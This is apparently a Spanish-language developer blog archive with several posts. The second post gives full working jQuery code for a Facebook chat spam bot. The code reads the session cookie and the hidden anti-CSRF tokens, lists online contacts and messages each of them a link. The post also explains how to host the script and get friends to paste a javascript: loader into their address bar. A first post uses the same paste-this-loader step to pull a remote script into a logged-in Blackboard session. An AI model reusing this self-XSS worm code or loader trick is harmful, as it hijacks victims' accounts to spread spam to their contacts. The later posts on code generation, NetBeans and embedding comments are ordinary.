Archivo

Archivo del autor

Respaldame Koala JS Versión 2.0

Este es una nueva versión del Respaldame Koala, un software para respaldar todos los archivos de la plataforma blackboard de DuocUC, esta vez, escrito en HTML y Javascript utilizando el framework JQuery.

Para utilizarlo deben:

Loguarse en http://campusvirtual.duoc.cl
En la misma venta , escribir en la barra de direcciones el siguiente código:

javascript:(s=(d=document).createElement('script')).src='http://goo.gl/KMdgb',d.body.appendChild(s);void(0);

Luego en la página principal de blackboard , les aparecerá un nuevo panel llamado Respaldame Koala.

Ahí seleccionan todos los archivos que quieren descargar, presionan el Botón Descargar Seleccionados y se les descargará un archivo respaldameKoala.hta, lo abren y se abrirá una ventana como ésta:

Y por último presionan el botón Comenzar Descarga de Archivos y se descargarán, todos los archivos seleccionados, en una carpeta llamada RespaldameKoala que estará en la misma carpeta donde se guardo el archivo .hta .

Espero que les sirva,

Saludos!

Bot Spammer en el chat de Facebook con JQuery


Hace días atrás me comenzaron a llegar spam por el chat de facebook y decidí investigar como lo hacían.

Como lo hacen?
Primero, hacer correr código javascript a los contactos de facebook. Simplemente los hacen escribir en la barra de direcciones el siguiente código:

javascript: [CODIGO JAVASCRIPT]

e incluyen un script escrito en javascript a la página de facebook, con el cuál pueden manipular los datos de la página.

Como manipulan los datos de Facebook?
Con el script que incluyen en facebook, comienzan a hacer llamadas vía Ajax al servidor, donde:

  • Listan a los usuarios del chat: Para Listar a todos los contactos conectados crean una petición por el método GET a la siguiente dirección:
    http://www.facebook.com/ajax/chat/buddy_list.php?__a=1&user={ID_USUARIO}&post_form_id={POST_FORM_ID}&fb_dtsg={FB_DTSG}&post_form_id_source=AsyncRequest&popped_out=false&force_render=true
  • Envían mensajes a cada usuario conectado:  Para enviar un mensaje a algún contacto necesitan hacer una petición por el método POST a la siguiente dirección
    http://www.facebook.com/ajax/chat/send.php?__a=1

    y como parámetro pasan:

    msg_id={NUMERO_RANDOM}&client_time={TIME}&msg_text={MENSAJE}&to={CONTACTO_ID}&post_form_id={POST_FORM_ID}&fb_dtsg={FB_DTSG}&post_form_id_source=AsyncRequest

Como ven en los puntos anteriores , necesitamos 3 variables que no podemos inventar para hacer las peticiones.

  • ID_USUARIO: La sacamos de la cookie de facebook
  • POST_FORM_ID: La sacamos de la página principal de Facebook (Formulario Oculto)
  • FB_DTSG: La sacamos de la página principal de Facebook (Formulario Oculto).

Conociendo ésto, los pasos para comenzar a escribir nuestro bot son:

  1. Entrar a la página principal de Facebook
  2. Sacar las cookies y buscar la ID_USUARIO
  3. Buscar los inputs ocultos y sacar POST_FORM_ID y FB_DTSG
  4. Listar Los Usuarios conectados al chat
  5. Enviar un mensaje por cada usuario conectado

Código:
Para programar código Javascript utilizaré el framework JQuery para hacer mas fácil la manipulación de datos.

1.- Conectar a la raíz de Facebook y obtener los datos necesarios.

	/* [PASO 1] - Obtener Datos Necesarios: user_id,post_form_id,fb_dtsg */
	$.ajax({
		/* La url será la raíz de Facebook */
		url: "/",
		/* al tener éxito en la consulta sacaré los datos que necesito */
		success: function(data){
			/* busco , en la cookie, la id de usuario con expresiones regulares*/
			var user_id = document.cookie.match(/c_user=(\d+)/)[1];
			/* en la respuesta que me devolvió ajax, busco el input con nombre post_form_id y obtengo el "value"  */
			var post_form_id = data.match(/name="post_form_id" value="([\d\w]+)"/i)[1];
			/* en la respuesta que me devolvió ajax, busco el input con nombre fb_dtsg y obtengo el "value"  */
			var fb_dtsg = data.match(/name="fb_dtsg" value="(.[^\"]*)" autocomplete=/i)[1];
		}
	});

2.- Luego de Obtener los datos necesarios tenemos que listar a los usuarios

/* [PASO 1] - Obtener Datos Necesarios: user_id,post_form_id,fb_dtsg */
	$.ajax({
		/* La url será la raíz de Facebook */
		url: "/",
		/* al tener éxito en la consulta sacaré los datos que necesito */
		success: function(data){
			/* busco , en la cookie, la id de usuario con expresiones regulares*/
			var user_id = document.cookie.match(/c_user=(\d+)/)[1];
			/* en la respuesta que me devolvió ajax, busco el input con nombre post_form_id y obtengo el "value"  */
			var post_form_id = data.match(/name="post_form_id" value="([\d\w]+)"/i)[1];
			/* en la respuesta que me devolvió ajax, busco el input con nombre fb_dtsg y obtengo el "value"  */
			var fb_dtsg = data.match(/name="fb_dtsg" value="(.[^\"]*)" autocomplete=/i)[1];
			
			/* [PASO 2] - Listar Usuarios Conectados */
			$.ajax({
				url:'/ajax/chat/buddy_list.php?__a=1',
				/* Paso como parámetro los datos que obtuve y definí en el paso 1 */
				data: {
					user: user_id,
					post_form_id: post_form_id,
					fb_dtsg: fb_dtsg,
					lsd: null,
					post_form_id_source: 'AsyncRequest',
					popped_out: false,
					force_render: true
				},
				success: function(chatResponse){
					/* De la respuesta elimino un ciclo infinito for(;;){} y transformo a objeto javascript */
					var jsonChatResponse = eval('(' + chatResponse.substr(9) + ')');
					/* Del objeto javascript obtengo la lista de amigos */
					var buddyList = jsonChatResponse['payload']['buddy_list'];
					
				}
			});
		}
	});

3.- Debemos enviar un mensaje a cada usuario conectado.

/* [PASO 1] - Obtener Datos Necesarios: user_id,post_form_id,fb_dtsg */
	$.ajax({
		/* La url será la raíz de Facebook */
		url: "/",
		/* al tener éxito en la consulta sacaré los datos que necesito */
		success: function(data){
			/* busco , en la cookie, la id de usuario con expresiones regulares*/
			var user_id = document.cookie.match(/c_user=(\d+)/)[1];
			/* en la respuesta que me devolvió ajax, busco el input con nombre post_form_id y obtengo el "value"  */
			var post_form_id = data.match(/name="post_form_id" value="([\d\w]+)"/i)[1];
			/* en la respuesta que me devolvió ajax, busco el input con nombre fb_dtsg y obtengo el "value"  */
			var fb_dtsg = data.match(/name="fb_dtsg" value="(.[^\"]*)" autocomplete=/i)[1];
			
			/* [PASO 2] - Listar Usuarios Conectados */
			$.ajax({
				url:'/ajax/chat/buddy_list.php?__a=1',
				/* Paso como parámetro los datos que obtuve y definí en el paso 1 */
				data: {
					user: user_id,
					post_form_id: post_form_id,
					fb_dtsg: fb_dtsg,
					lsd: null,
					post_form_id_source: 'AsyncRequest',
					popped_out: false,
					force_render: true
				},
				success: function(chatResponse){
					/* De la respuesta elimino un ciclo infinito for(;;){} y transformo a objeto javascript */
					var jsonChatResponse = eval('(' + chatResponse.substr(9) + ')');
					/* Del objeto javascript obtengo la lista de amigos */
					var buddyList = jsonChatResponse['payload']['buddy_list'];
					/* [PASO 3] - Enviamos a cada amigo un mensaje */
					/* Recorrimos la lista de amigos que estan disponibles */
					for (var contact in buddyList['nowAvailableList']) {
						/* Creamos una nueva petición Ajax, ésta vez por el metodo POST */
						$.ajax({
							url: '/ajax/chat/send.php?__a=1',
							type: "POST",
							data: {
								msg_id: Math.floor(Math.random() * 1335448958),
								client_time: (new Date).getTime(),
								/* Aquí agregamos nuestro Mensaje */
								msg_text: "Bot Spammer Test xD @ goo.gl/NYCXk",
								to: contact,
								post_form_id: post_form_id,
								fb_dtsg: fb_dtsg,
								post_form_id_source: "AsyncRequest"
							},
							success: function(chatSendResponse){
							}
						});
					}
				}
			});
		}
	});

Para terminar nuestro código , agregaré el script de JQuery

/* Obtengo el tag HEAD */
var head= document.getElementsByTagName('head')[0];
/* creo un elemento SCRIPT */
var script= document.createElement('script');
/* le doy el tipo javascript */
script.type= 'text/javascript';
/* framework JQuery */
script.src= 'http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js';
/* Agrego un evento ONLOAD al SCRIPT */
script.onload = function(){
	/* Una vez que se haya cargado JQUERY debo comenzar a utilizarlo */
	/* [PASO 1] - Obtener Datos Necesarios: user_id,post_form_id,fb_dtsg */
	$.ajax({
		/* La url será la raíz de Facebook */
		url: "/",
		/* al tener éxito en la consulta sacaré los datos que necesito */
		success: function(data){
			/* busco , en la cookie, la id de usuario con expresiones regulares*/
			var user_id = document.cookie.match(/c_user=(\d+)/)[1];
			/* en la respuesta que me devolvió ajax, busco el input con nombre post_form_id y obtengo el "value"  */
			var post_form_id = data.match(/name="post_form_id" value="([\d\w]+)"/i)[1];
			/* en la respuesta que me devolvió ajax, busco el input con nombre fb_dtsg y obtengo el "value"  */
			var fb_dtsg = data.match(/name="fb_dtsg" value="(.[^\"]*)" autocomplete=/i)[1];
			
			/* [PASO 2] - Listar Usuarios Conectados */
			$.ajax({
				url:'/ajax/chat/buddy_list.php?__a=1',
				/* Paso como parámetro los datos que obtuve y definí en el paso 1 */
				data: {
					user: user_id,
					post_form_id: post_form_id,
					fb_dtsg: fb_dtsg,
					lsd: null,
					post_form_id_source: 'AsyncRequest',
					popped_out: false,
					force_render: true
				},
				success: function(chatResponse){
					/* De la respuesta elimino un ciclo infinito for(;;){} y transformo a objeto javascript */
					var jsonChatResponse = eval('(' + chatResponse.substr(9) + ')');
					/* Del objeto javascript obtengo la lista de amigos */
					var buddyList = jsonChatResponse['payload']['buddy_list'];
					/* [PASO 3] - Enviamos a cada amigo un mensaje */
					/* Recorrimos la lista de amigos que estan disponibles */
					for (var contact in buddyList['nowAvailableList']) {
						/* Creamos una nueva petición Ajax, ésta vez por el metodo POST */
						$.ajax({
							url: '/ajax/chat/send.php?__a=1',
							type: "POST",
							data: {
								msg_id: Math.floor(Math.random() * 1335448958),
								client_time: (new Date).getTime(),
								/* Aquí agregamos nuestro Mensaje */
								msg_text: "Bot Spammer Test xD @ goo.gl/NYCXk",
								to: contact,
								post_form_id: post_form_id,
								fb_dtsg: fb_dtsg,
								post_form_id_source: "AsyncRequest"
							},
							success: function(chatSendResponse){
							}
						});
					}
				}
			});
		}
	});
};
/* Agrego el tag SCRIPT Al tag HEAD */
head.appendChild(script);

Luego subimos nuestro script a algun hosting, yo lo subí a Dropbox
http://goo.gl/KKz48

Y por último creamos el codigo javascript para pasarlo a nuestros amigos, que tendrán que ejecutarlo en la página de Facebook.

javascript:(s=document.createElement('script')).src='http://goo.gl/KKz48', document.body.appendChild(s); void(0);              

Escribiendo el código anterior,en la barra de direcciones en la pestaña donde está la págian de facebook, se crea un tag que les agregará el script que hicimos y por consecuencia enviará un mensaje a todos sus amigos conectados al chat.

De ésta forma se pueden enviar mensajes por el chat, crear eventos, postear en el muro, etc. Espero que les sirva de algo y que lo usen para algo bueno,

Saludos!

PHPCodeCreator [CodeIgniter + Doctrine + RestServer + HMVC]

En vacaciones, aburrido de programar, se me ocurrió la idea de crear código solo, Como es eso?
Bueno la idea fue , bajo el patrón MVC, crear código (Modelo, Controlador , Vista) a partir del modelo de la base de datos. Para ello empece a programar un mappeador de base de datos, que obtiene todas las tablas, columnas, claves primarias y referencias foráneas de una base de datos, y con esos datos comienza a crear los Modelos y posteriores Controles.

Todo ese código es escrito para utilizarlo junto con el framework CodeIgniter y su módulo RestServer, para generar webservice.
Doctrine se encarga de conectar los modelos y la base de datos relacional, ademas de toda la validación de columnas y referencias entre tablas.

Por ahora las Vistas no se generan solas , pero si quieres puedes aportar con nuevas ideas o mejorando lo que ya está.
Hace unas semanas atrás subí el código a github, aquí lo dejo para que se apunten en éste proyecto.

https://github.com/EstebanFuentealba/PHPCodeCreator

Saludos!

Netbeans 7.0 + Git Nativo

Hace un tiempo atrás vengo utilizando github para subir mis proyectos e ideas, para poder hacer commits , updates,etc utilizaba un plugin para netbeans llamado nbgit.
Hoy descargué Netbeans 7.0 RC1 y leyendo me di cuenta que ahora soporta Git de forma «nativa».

Para ello van a Herramientas / Complementos

Luego van a la Pestaña Configuración, Ahí presionamos el Boton Agregar

Ahora ponemos un nombre y agregamos el siguiente link en la URL
http://updates.netbeans.org/netbeans/updates/7.0/uc/beta2/beta/catalog.xml.gz y presionamos Aceptar

Comenzará a cargar las actualizaciones , nos dirigimos a la pestaña Plugins disponibles y buscamos git, lo seleccionamos y presionamos Instalar

Después de aceptar las condiciones de uso y de un siguiente, siguiente finalizar, tendremos que reiniciar el IDE y posteriormente veremos instalado Git en la pestaña de Equipo.

Saludos!

Comentarios de Facebook (Social Plugin) Administrables

Para poder agregar comentarios de facebook con la posibilidad de moderarlos, es necesario
1.- Crear una aplicación de facebook , lo puedes hacer en éste link:
http://developers.facebook.com/setup/

Ahi pedirá El nombre de la aplicacion o sitio, la url (en mi caso http://estebanfuentealba.net? el «?» permitirá incrustar los comentarios en cualquier dirección del dominio ).

Después nos pedirá un codigo de seguridad y por ultimo nos entregará los datos de la app y un codigo de muestra.

De esos datos necesitaremos la identificación de aplicación.
Para agregar los comentarios a las páginas es necesario los siguientes códigos:

  1. Agregar al tag el siguiente codigo:
    <html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://ogp.me/ns#" xmlns:fb="http://www.facebook.com/2008/fbml" xml:lang="es" lang="es"> 
  2. En la cabecera de la página agregar :
    <meta property="fb:app_id" content="APPID" />

    Ejemplo:

    <meta property="fb:app_id" content="207075379302808" />
  3. En el cuerpo:
    <div id="fb-root"></div>
    		<script src="http://connect.facebook.net/es_ES/all.js#appId=APPID&amp;xfbml=1"></script>
    		<fb:comments href="URL" num_posts="10" width="500"></fb:comments>
    	 

    Ejemplo:

    <div id="fb-root"></div>
    		<script src="http://connect.facebook.net/es_ES/all.js#appId=207075379302808&amp;xfbml=1"></script>
    		<fb:comments href="http://estebanfuentealba.net/facebookComentario" num_posts="10" width="500"></fb:comments>

Quedará algo asi:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://ogp.me/ns#" xmlns:fb="http://www.facebook.com/2008/fbml" xml:lang="es" lang="es"> 
	<head profile="http://gmpg.org/xfn/11"> 
		<meta property="fb:app_id" content="207075379302808" />
		<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
		<title>FB Comentarios</title>
	</head>
	<body>
		<div id="fb-root"></div>
		<script src="http://connect.facebook.net/es_ES/all.js#appId=207075379302808&amp;xfbml=1"></script>
		<fb:comments href="http://estebanfuentealba.net/facebookComentario" num_posts="10" width="500"></fb:comments>
	</body>
</html>

Demo: http://estebanfuentealba.net/facebookComentario/

Para administrar los comentarios,agregar modedadores, agregar filtros,etc. es posible hacerlo en la misma página que se agregaron los comentarios (Configuración) o en http://developers.facebook.com/tools/comments

Saludos!